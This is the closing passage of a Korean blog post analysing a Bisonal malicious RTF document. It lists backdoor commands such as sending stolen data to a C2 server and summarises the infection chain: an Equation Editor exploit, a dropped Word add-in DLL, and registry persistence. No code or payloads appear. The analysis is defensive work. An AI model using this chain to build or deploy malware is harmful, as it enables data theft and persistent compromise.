case 208 | sub_402424() | 특정 파일에 대한 쓰기 | C2 서버로 탈취 정보 전송 |
case 209 | mismyou 레지스트리 삭제 | C2 서버로 탈취 정보 전송 |
4. 정리
악성 RTF 문서를 실행시키면 8.t 파일이 가장 먼저 생성되고 수식 편집기에 존재하는 취약점을 이용하여 쉘코드(8.t)를 실행시킨다. 해당 쉘코드는 악성 dll(intel.wll) 을 생성하고 이를 winword.exe 프로세스의 add-in에 등록시킨다.
악성 RTF 문서를 재 실행하면 add-in이 동작하여 intel.wll을 로드한다. 해당 dll이 로드되는 과정에서 dllMain()에 존재하는 기능에 의해 ahnlab.exe 프로그램을 생성 및 실행시킨 후 , 부팅 시 자동 실행되게끔 레지스트리에 등록시킨다.
해당 RTF 악성 문서는 중국 APT 그룹에서 제작한 악성코드이며 " Operation LagTime IT " 캠페인 명을 가진다. 또한 동아시아권의 국가들을 타겟으로, 스피어 피싱 메일을 통하여 배포된 것으로 확인된다.
이러한 유형의 악성코드를 Bisonal라고 부른다. 희생자의 정보를 탈취하여 C2 서버로 전송된 뒤, 백도어 기능을 통해 추가적임 감염이 일어날 수 있다.
5. Reference
'보안 > 악성코드 분석' 카테고리의 다른 글
[호크아이] 악성코드 분석 (0) | 2021.01.20 |
---|---|
[Ransomware] clob 랜섬웨어 분석 (6) | 2021.01.11 |
[hwp eps] 악성코드 분석 보고서 (0) | 2020.12.12 |
Uploaded by Notion2Tistory v1.1.0